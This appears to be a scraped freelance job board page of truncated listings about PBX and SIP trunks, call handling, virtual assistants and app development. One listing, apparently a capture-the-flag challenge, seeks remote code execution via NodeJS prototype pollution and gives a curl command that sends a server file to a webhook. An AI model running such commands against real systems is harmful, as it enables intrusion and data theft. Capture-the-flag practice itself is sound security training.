Elastix freepbx incoming trunkงาน

หลังจากลูกค้าโทรเข้ามาเมื่อคุยเสร็จแล้วลูกค้ากดวางสาย หรือ พนักงานกดวางสาย อยากให้หลังจากนั้นประมาณ 20 นาทีให้โทรศัพท์กลับไปหาลูกค้าเพื่อประเมิณความพึงพอใจ โดยใช้ macro-survey เป็นเมนูที่จะโทรออกอัตโนมัติ

ย้าย image ขึ้นไปบน aws เพื่อทำเป็น AWS AMI 1. Elastix MT 2. pfsense

เขียนหน้า GUI เพื่อสั่งงาน Elastix , Asterisk

We're seeking a highly skilled and experienced Salesforce freelancer to join our team and provide up to 12 hours a week of exceptional support for a variety of Salesforce Clouds, including: Sales Cloud Service Cloud Financial Services Cloud Experience Cloud Responsibilities: Manage and resolve incoming Salesforce support tickets with a focus on efficiency and accuracy. Diagnose issues across various Salesforce Clouds and recommend solutions. Leverage your expertise in Lightning Web Components (LWC), Flows, and Automation tools to streamline processes and improve functionality. Collaborate closely with internal teams to ensure seamless ticket resolution and customer satisfaction. Maintain a comprehensive understanding of Salesforce best practices and stay up-to-date on the lat...

I am looking for a writer/journalist who can produce news articles based on trending topics we provide. The ideal candidate will have experience in producing multiple stories per day on incoming news. Skills and Experience: - Strong writing skills - Knowledge of current events and ability to research and gather information - Ability to write in a neutral and unbiased manner - Experience in writing news articles - Ability to meet deadlines and produce high-quality work consistently

Android Developer - SMS Processing and Remote Management App We are looking for a talented Android developer to build a secure and feature-rich mobile application along with a Laravel-based admin panel for remote management. Responsibilities: Develop an Android application (minimum Android 8) with the following functionalities: Read incoming SMS and identify target keywords. Send identified keywords to a designated remote server. Receive and display SMS messages triggered from the admin panel. Implement a sync button to synchronize SMS data and send details to the remote server. Design and develop a secure admin panel using Laravel 10, MySQL 8, and PHP 8: User registration and management. Device registration with approval workflow. Device blocking functionality. SMS panel to send...

I need a versatile virtual assistant to manage both calls and emails for my English-speaking customers. On average, I receive between 10-50 calls and emails per day. Key Responsibilities: - Answering incoming calls - Responding to emails in a timely manner - Handling customer inquiries and complaints effectively - Maintaining a high level of professionalism and customer service skills Skills and Experience: - Excellent verbal and written communication skills in English - Previous experience in customer service roles - Ability to multitask and work efficiently under pressure - Proficient in using customer service software - Strong problem-solving skills and a positive attitude Please let me know your availability and your approach to handling peak times.

I am seeking an exceptional AI developer to create a private AI system for my Apple computer that combines enhanced security measures with efficient functionality. This project will require a nuanced understanding of AI and firewal...understanding of natural language processing, image recognition, and predictive analytics. - Developing private search capability: I want the AI system to perform encrypted and anonymous search. End-to-end encryption should be ensured while performing any search and there should not be any user identifiers during searches. - Firewall configuration: The firewall configuration should only block incoming connections to maximize security. Special consideration will be given to applicants who have previous experience in AI security and firewall de...

I need a single-screen app developed in React Native. The core functionality of the app is to display an incoming call modal, similar to the functionality of a caller ID app like Truecaller. Here's what I'm looking for: - The incoming call modal should be a full-screen overlay, as well as a small modal and it should display the caller's name and number. - Additionally, the caller's profile picture should be shown on the modal. - The modal should have interactive options to answer or reject the incoming call. While the project doesn't include specific requirements for what happens when the call is answered, I'm open to creative suggestions on how to enhance the app further. Ideal skills for this project: - Proficient in React Native - Ex...

I'm looking for a professional who can help me integrate my FreePBX system with an AI to automate and manage my call center. The ideal candidate should be able to: - Implement AI-driven call routing - Develop an AI voice bot - Configure the AI voice bot to provide information, take orders and schedule appointments Key requirements: - Seamless integration between FreePBX and the AI system - Smooth call handling and routing - Accurate and relevant information delivery by the AI voice bot to the callers - AI system must be able to provide business hours, product descriptions and pricing information to the callers.

...looking for an experienced Avaya specialist to assist with the configuration of our Avaya Session Border Controller (ASBCE) - specifically, to set up and integrate it with SIP Trunk Provider lines and Avaya IP Office Server Edition. AVAYA IP Office servers are already configured and calls working internally. - The tasks involved are both the installation of the ASBCE and the setup and integration with the SIP Trunk Provider. This requires a comprehensive understanding of both Avaya systems and SIP technology. - The primary goal for this configuration is to achieve a seamless integration between the ASBCE, the SIP Trunk Provider, and our Avaya servers. The focus is on ensuring robust communication and operation between these systems. - Basic training on how to res...

...opened up their potion brewing website for other Emus to create new potion recipes! However, they are afraid that one of the human hackers will pollute their ingredients. Can you get Remote Code Execution (RCE) on the Emu Apothecary's website? Below are the steps on creating the terminal command you want to execute on the website: Visit to create a new webhook for receiving incoming web requests. Copy your unique URL from the webhook website and replace {webhook} in the following terminal command. This is the command that you want to execute on the website that will send / to your webhook. curl -F flag=@/ {webhook} To connect to the challenge go to hint 1: You can pollute NodeJS applications, Alex did a talk about it and the slides

...mobile application to connect to a WebSocket server and handle notifications efficiently. The plugin must support the following functionalities: Key Features: 1. WebSocket Connection: - Establish a connection to a specified WebSocket server. - Maintain the connection and handle reconnections as necessary. 2. Receive Notifications: - Listen for incoming messages/notifications from the WebSocket server. - Process the incoming messages and trigger a push notification on the device. 3. Push Notifications: - Display push notifications on the device when a message is received via WebSocket. - Ensure that notifications appear even if the app is closed or running in the background. - Handle user interaction with the push notification (click/tap). 4. Notif...

In search of a professional with expertise in managing multiple aspects of a small business (1-10 employees). Requi...assisting in customer retention, and driving sales growth. - Project Management: Capabilities in managing projects, tracking progress, and ensuring smooth workflow in our small team set-up. - Billing and Accounting: Knowledge on maintaining a clean ledger, managing bills, conducting proper accounting, pushing follow-ups, and ensuring no dues remain pending. - Payment Tracking: Expert in tracking incoming and outgoing payments without missing any transactions. Time frame for project completion is within a month. Ideal candidate should have a solid background in business management, specifically for small businesses, and have a track record of successful equivalent...

I need a professional to handle incoming calls from potential real estate buyers. - Your role is performing customer service and collecting information about their buying preferences. - The ideal candidate will answer less than 10 calls per day as needed for 8 hours. 5 days per week - some days will be less than 5 calls - You will need to collect the following from each call: - Buyer's contact details. - Property preferences: type, location, budget. - Timeline for their purchase. - Specific property types my buyers are interested in are: - Residential Homes. - Apartments/Condos. This position requires excellent communication skills, a good telephone manner, and the ability to understand and collate key information. Experience in real estate or sales is an...

...proficient in Microsoft Office Suite and CRM software. Key Responsibilities: - Email Management: You'll be responsible for sorting, responding to, and organizing my emails. - Calendar Management: You'll be in charge of arranging meetings, appointments, and keeping my schedule up to date. - Data Entry: You'll assist in inputting and managing data. - Phone Calls: You'll also be expected to handle incoming calls and messages professionally. The successful candidate will have excellent communication skills and be able to work independently. Experience with Microsoft Office Suite and CRM software is a must. Being proactive, detail-oriented, and able to prioritize tasks is highly valued. Your role will be crucial in helping me stay organized and productive, s...

I'm looking for a professional to help me in developing a mobile app for WhatsApp chat handling. The app will be used for managing and responding to incoming messages. Key Points: - The primary task of this project is creating a mobile application that will enable me to manage WhatsApp messages efficiently. - The app doesn't need to automate replies based on keywords - I will be sending manual replies only. - The app needs to have an easy-to-use interface for message management. Ideal Skills and Experience: - Proficiency in mobile app development, particularly for iOS and Android. - Prior experience with chat-based applications or messaging platforms. - Strong understanding of WhatsApp's API and its integration into mobile apps. - Ability to design user-friendly in...

I'm seeking a skilled developer to create a comprehensive t...Seamless integration with popular payment gateways for an efficient and secure payment process. - Ride scheduling: Users should be able to pre-book rides for a specific date and time. For Drivers: - Driver tracking: A feature that allows drivers to view their current location on a map and helps to plan routes effectively. - Accept/Decline ride requests: Drivers should be able to accept or reject incoming ride requests. - Driver ratings: A system that allows passengers to rate drivers after completing a ride. Your experience in developing similar full-featured taxi applications will be a key consideration. Please provide examples of your previous work that demonstrate your capability in delivering a user-friendly an...

I'm looking for a customer service representative who can handle incoming calls. Requirements: - The ideal candidate should have a background in customer service. - Excellent communication skills are a must. - The position is part-time, offering flexibility in your schedule.

I need a Zoho expert to help me set up a system where emails that match certain keywords in the subject are copied to a specific WorkDrive folder. Ideal Skills and Experience: - Proficiency in Zoho Mail - Experience in email filtering - Knowledge of WorkDrive system Please note that I want the emails to be copied, not moved, to the WorkDrive folder. I need both incoming and outgoing emails to follow the same method. I work in an office with 15 others and we get new cases meaning new filters frequently, so I'd like a method to be able to update their filters without needing them to redownload anything, sort of like a central hub from my computer. If there is any way for that to be done, I'd like to know the method.

I'm looking for a virtual assistant to work with me from home. Key Responsibilities: - Assisting me with various tasks and helping me manage my daily schedule. - Handling incoming and outgoing emails on my behalf. - Conducting research on specific topics as needed. - Managing my social media accounts, if required. - Providing me with regular updates on the tasks assigned. Ideal Candidate: - Proficient in communication, both written and verbal. - Strong organizational skills and attention to detail. - Familiarity with basic office software and tools. - Knowledge of social media platforms. - Ability to handle sensitive and confidential information. The number of hours per week is flexible, so please feel free to propose the amount of time you would be available to work.

I'm looking for a virtual assistant to work with me from home. Key Responsibilities: - Assisting me with various tasks and helping me manage my daily schedule. - Handling incoming and outgoing emails on my behalf. - Conducting research on specific topics as needed. - Managing my social media accounts, if required. - Providing me with regular updates on the tasks assigned. Ideal Candidate: - Proficient in communication, both written and verbal. - Strong organizational skills and attention to detail. - Familiarity with basic office software and tools. - Knowledge of social media platforms. - Ability to handle sensitive and confidential information. The number of hours per week is flexible, so please feel free to propose the amount of time you would be available to work.

I'm seeking a virtual assistant to handle less than 10 incoming leads per day for my lawn mowing business. Key Responsibilities: - Respond to leads through Email, Phone calls, and Social media. - Request photos and a description of the job from the leads. - Add lead information and pictures to our CRM system. Ideal Candidate: - Prior experience in customer service or lead handling. - Knowledge of CRM systems. - Excellent communication skills. - Attention to detail and organization. - Ability to work independently and efficiently. This is a crucial role in my business, so I'm looking for someone who is reliable and can maintain a consistent response time to these leads.

Set up zapier to link incoming facebook ad leads to mailchimp for automated email's

I'm in need of a skilled virtual assistant to help me manage my email and take some phone calls. Key Responsibilities: - Email Management: You should be comfortable with handling my incoming emails, sorting and responding to them as necessary. - Phone Calls: You will need to take some incoming calls on my behalf, take messages, and ensure that I'm aware of important information. Requirements: - I expect to need your assistance for less than 10 hours a week. - Ideally, you should have prior experience in customer service, as this will help you in communicating with clients on calls and via email. If you're a reliable and organized individual who is good at managing tasks and communicating effectively, I'd love to hear from you.

I am seeking a skilled programmer who can create an intelligent BOT that's able to traverse my google spreadsheet and scrutinize incoming leads based on their EPC status. The main functionalities required are: - Retrieving Contact Details and EPC Status: The BOT should be able to fetch the contact details of leads and simultaneously check their EPC statuses. - Highlighting Matches: In case a lead matches the EPC status I am in search for, the BOT should distinctly highlight the respective row in the spreadsheet. - Segregating Non-Matches: The BOT should be capable of moving the leads that do not match the desired EPC status to a separate section in the spreadsheet. Ideal skills for this job would be advanced Python or Java programming capabilities, extensive experience wi...

I need an experienced mobile application developer skilled in both Android and iOS application development to create a reliable, user-friendly and efficient application that provides automatic spam message blocking and word filtering. Briefly, the working logic of the application is as follows: only the words that are wanted to be blocked will be written. If these words are included in the incoming SMS, it will be blocked as spam. Key Features: - The app should work on both Android and iOS devices. - The main purpose of the application is to block spam messages and filter out unwanted words. - The blocking process needs to be automated; a user should not need to manually block each spam message or unwanted word. Ideal Skills and Experience: - Proficient in Android and iOS app dev...

I need an experienced mobile application developer skilled in both Android and iOS application development to create a reliable, user-friendly and efficient application that provides automatic spam message blocking and word filtering. Briefly, the working logic of the application is as follows: only the words that are wanted to be blocked will be written. If these words are included in the incoming SMS, it will be blocked as spam. Key Features: - The app should work on both Android and iOS devices. - The main purpose of the application is to block spam messages and filter out unwanted words. - The blocking process needs to be automated; a user should not need to manually block each spam message or unwanted word. Ideal Skills and Experience: - Proficient in Android and iOS app dev...

Need to configure ...written in Node.js, to resize images dynamically on-demand. Here are the specific project requirements: - Programming Skill: The function should be written exclusively in Node.js. The successful applicant should have good experience with Node.js and AWS Lambda functions. - Image Resizing: The function needs to resize images on the fly, meaning it should dynamically generate resized images based on incoming requests. Experience with dynamic image processing will be of great advantage. - Image Source: The original higher-resolution images will be stored in Amazon S3, so knowledge of Amazon S3 is a must for the function integration. In summary, if you are skilled in Node.js, AWS Lambda, and Amazon S3, this project is for you. I'm looking forward to seeing ...

I'm looking for a developer to create a Caller ID app for both Android and iOS platforms using MySQL database. The app should have the following features: - Comprehensive Caller Identification: The app should be able to identify incoming calls and display the caller's information if available. - Anti-Spam: The app should have a feature that can help block spam calls. When a call comes in, you will check that call through the API It will give you a response with his phone number, name, photo, and address You will display that information 1. Login first app. (SERVER URL, USERNAME, PASSWORD) 2. I just need the information of the person who gave the phone from my database to show his name, photo, and address. 3. If he wants to save any ne...

...another reseller voip/phone number provider so we can make calls in/out. I need this for Android, IOS, and PC/Mac. Simple app to call in/out. I need a custom softphone app (cross-platform) developed urgently. The app should be a simple dialer for both incoming and outgoing calls, and should be connected to servers. It's important that the app displays our company logo prominently. Key Requirements: - Development of a cross-platform softphone app - Integration with servers - Basic dialer functionality for both incoming and outgoing calls - Display of our company logo Ideal Skills: - Experience in softphone app development - Proficiency in cross-platform development - Ability to integrate with external servers - Basic graphic design for app logo display Timefr...

I'm looking for a TypeScript expert to build a SaaS model comprised of small micro-services within windmill.dev. The goal is to handle incoming data from Instagram and automatically respond using chatgpt. Key tasks will include: - Writing clean, optimized TypeScript code - Debugging and fixing any errors that may arise - Implementing complex algorithms to process data accurately and quickly In terms of functionality, the application should be able to: - Monitor Instagram messages and comments in real-time - Set up a webhook to receive Instagram data - Reply automatically to the messages received using OpenAI Assistant Ideal skills and experience for this project include: - Proficiency in TypeScript and SaaS architecture - Experience integrating with Instagram's API - ...

I'm about to get daily PDF forms and need them automatically dumped into a Google Sheets document. The project involves: - Extracting data from incoming PDFs and inputting them into corresponding fields on Google Sheets. - Ensuring that each form submission creates a new row in the Google Sheets document. It's essential that: - The data is accurately extracted with no errors. - The system can handle a normal volume of PDF submissions (no more than 150) Ideal qualifications: - Proficient in web scraping and data entry. - Experienced in working with Google Sheets and PDF manipulation. - Ability to create an automated system for seamless data transfer.

...give you: 1. Virtual Numbers 2. SIP Trunk server I am in need of an expert who can develop a SIP Trunk server with the capability of enabling live voice stream access. Key Requirements: - SIP Trunk Server: The primary purpose of this project is the development of a SIP Trunk server. It is essential that the chosen freelancer has experience in developing such systems. - Live Voice Stream Access: The server must offer functionality to enable live voice stream access. This feature must be robust, reliable, and seamlessly integrated into the server. - Access Control: I need the live voice streams to be secured with user-based permissions. This ensures that only authorized users can access the streams. Integration: - The primary platform that the SIP Trunk...

I'm a CEO, and independent journalist and filmmaker and am in need of a virtual assistant to help with various tasks including email management, calendar management, and online research. People who have worked in the media industry would be highly suitable. Key Responsibilities: - Email Management: The ideal candidate will be responsible for filtering and organizing incoming emails, responding to inquiries, and scheduling meetings on my behalf. Previous experience with managing professional email accounts is a plus. - Calendar Management: The VA should be proficient in managing calendars, scheduling appointments, and setting reminders. - Online Research: You will be required to conduct online research on various topics and present the findings in a clear and concise manner. S...

...accommodations, would be an advantage. PLEASE RESPOND WITH A DESCRIPTION OF WHY YOU ARE QUALIFIED AND HOW YOU CAN MAKE THE IMPROVEMENTS TO RESERVATIONS IN THE DESCRIPTION ABOVE. Also, what are your thoughts about our website? I'm in need of two key services: 1. Reservation Responses: - We need assistance tracking hotel reservations. Your role here would encompass the acknowledgement and handling of incoming reservations, ensuring smooth communication with guests, and appropriately logging all reservation details. 2. Accounting Assistance: - We are also looking for an accountant. Your responsibilities would include addressing guest inquiries about charges, and ensuring all financial transactions related to reservations are accurately processed and recorded. Ideal c...

I am looking for an Asterisk/SIP expert to help me configure a SIP trunk. Specific tasks include: - Configuring the SIP trunk on my Asterisk server - Assisting with troubleshooting any issues that arise during the setup process Requirements: - Expertise in Asterisk and SIP configuration - Experience with setting up SIP trunks - Familiarity with troubleshooting Asterisk setups Additional information: - I already have a SIP provider - Ongoing maintenance assistance will be required after the SIP trunk has been configured.

Need a VA for Construction Company Main duties include - Calling customers and attending incoming calls - Maintaining database about customers - Other work as required. Should have intermediate knowledge of customer support, computers and google sheets. Work 10 to 6 EST (You will work part time but be available during these hours to attend calls.) Pay upto 300 CAD Per month.

We have a voip app, voice calling with sip and fcm setup for the push notifications, we like to have a call alert like whatsapp calling alert that can handle both foreground and background states in Android and iOS. Also mention if somebody already worked on this type of feature, bid and connect to show a demo. Feature Required: Call Notification Incoming Screen Alert on App background and foreground State both killed or behind other apps. When you accept the call redirect to the ongoing call screen and call get connected with sip.

...–––– Content: - Create written copy for blogs, social media, email nurture campaigns and email campaigns from ideation - Provide support to the wider team on copywriting Digital: - Change page content and data as directed - Support the Marketing Manager with console, analytics and lead strategies - Confidently utilise AI (AgentGPT and ChatGPT) to support content generation - Actively review incoming Google Alerts, news articles and LinkedIn accounts to keep on top of relevant industry updates for our Managing Director Social Media: - Produce content for Instagram posts, Instagram stories, Facebook and LinkedIn - Generate monthly newsletter content including pillar content, special events, speaking opportunities, announcements and project updates &nd...

Seeking someone who can flawlessly integrate my emails from M365 Outlook to SharePoint automatically. Detailed aspects of the job include: - Establish an integration system that primarily functions automatically. Consequently, all incoming and outgoing emails get stored in SharePoint without the need for manual intervention. - Flexibility in the type of emails to integrate is a must. They may range from all emails to emails with specific features or from certain senders, all dependent on the necessitated requirements. -apply labels to certain emails and send out specific SharePoint library -Should use M365 component and not any third party tools Ideal candidate would have: - Extensive experience in M365 Outlook to SharePoint integrations - Understanding of various email types a...

I have a need for professional development to improve my current Jasmine SMS Gateway system. The main...interface: A background in UI/UX would be very beneficial in creating an effective and efficient interface. The specific functionalities I require include: - Customizable message templates: This will allow for variation in content and personalization for different audiences. - A contact management system: An organized and user-friendly approach to managing contacts is key in this project. - An incoming SMS setup from SMPP client: This is crucial for the communication aspect of my project. In summary, I'm looking for an individual or team with a solid background in API Integration, UI/UX design and development, contact management, and SMS/SMPP configurations to proceed wit...

I need a bilingual customer service representative fluent in English and Spanish to handle various tasks in my business. Please note, the ideal candidate should be available full time, 9-5 Eastern Standard Time. Key Responsibilities: - Answering incoming calls from customers - Responding to emails promptly and professionally - Providing live chat support to customers on our platform The successful candidate should have: - Proficiency in both English and Spanish - Demonstrated experience in customer service - Strong communication skills both written and verbal - Ability to work efficiently under minimal supervision This position is full time and requires the representative to work five days a week from 9-5 EST. If you meet these requirements and are looking for a long-term opport...

I'm in search of a seasoned Excel-savvy bookkeeper to assist with the following tasks: - Accounts Payable: Tracking and managing all outgoing payments in a clear and organized manner. - Accounts Receivable: Overseeing and monitoring all incoming payments, ensuring timeliness and accuracy. - Bank Reconciliation: Regularly reconciling bank statements with our financial records to ensure accuracy. You don't necessarily need to be an expert in accounting software, but you should be fluent in Excel. This project doesn't involve learning new software, but rather meticulously managing and organizing financial data in Excel. I prefer to receive updates and reports via email, so clear and concise communication skills are a must. Experience in bookkeeping or a related field...

I'm looking for a React JS developer to deploy my code on AWS EC2 instance and set up a load balancer. Key Responsibilities: - Deploy my React JS code on an AWS EC2 instance. - Implement a load balancer to distribute incoming traffic across multiple servers to ensure scalability and high availability. Ideal Skills: - Proficient in React JS for code deployment. - Experienced in setting up and configuring AWS services, particularly EC2 instances. - Knowledgeable in implementing load balancers for improved performance and fault tolerance. Please note that the project is aimed at deploying and configuring the code on AWS, so prior experience in these areas is necessary for a successful deployment.

Must be a Smart person with great communication skills over phone. Must be good with computers. Should be able to think and handle the work on their own without too much supervision. Experience with a home renovation/ Construction company will be a plus. Work includes Attend incoming calls, send welcome message Setup meetings Send the price estimates Follow up with customers after giving price Research on various topics as needed Other admin work as needed Working on Eastern Standard Time (New York, Toronto) Paid monthly up to $300 per month plus $50 bonus for each deal closed. Start ASAP

...I'm looking for an experienced marketer who can help me achieve this by implementing a comprehensive marketing strategy. Key Tasks: Store Design with the right theme - Increasing Website Traffic: Utilize a mix of social media advertising, SEO, and email marketing to drive relevant traffic to the site. - Improving Conversion Rate: Optimize the website and marketing campaigns to convert the incoming traffic into paying customers. - Boosting Sales: Work towards the ultimate goal of increasing sales through effective marketing strategies tailored to the sports enthusiasts market. Ideal Skills and Experience: - Proven track record of driving sales in Shopify stores, ideally targeting niche markets. - Extensive experience in social media advertising, SEO, and email ma...

We currently have a pipeline in place utilizing Google Cloud Voice, but we aim to substitute it with a local solution. The replacement must offer minimal latency, support interruption, and have the ability to differentiate between speakers. This transition is essential for a product feature wherein...substitute it with a local solution. The replacement must offer minimal latency, support interruption, and have the ability to differentiate between speakers. This transition is essential for a product feature wherein the embodied AI exclusively responds to recognized or registered speakers. Additionally, we require interruption functionality so that the AI remains attentive, ready to pause and process incoming information whenever a registered user contributes relevant input to the con...

...who would log in/unlog in with their landline to receive the call. If there are more calls than receptionists, a message will appear indicating that they will assist you immediately. - The receptionists would route the calls to the agents available at that moment, who in turn would log in/unlog in with their landline to answer the calls. - For receptionists there would be a real-time panel of incoming and active calls, as well as receptionists and advisors logged in, free and busy on calls. The receptionist could select a free agent and forward the call from the panel or do it through the physical keypad of her phone (for example # 250) - For each customer call, the receptionists would receive a card showing their name, telephone number, comments, purchases made (date, time, amou...

Check existing config. Create VLANs, IDs and name tag based on the existing design. Configure and test Device. Then move onto the next VLAN and so on. Both Console and Web interface available. Trunk Ports required for new APs. Switches will include Stackable Sg350x. I also have a number of HP Procurves but not to worry if these are not possible.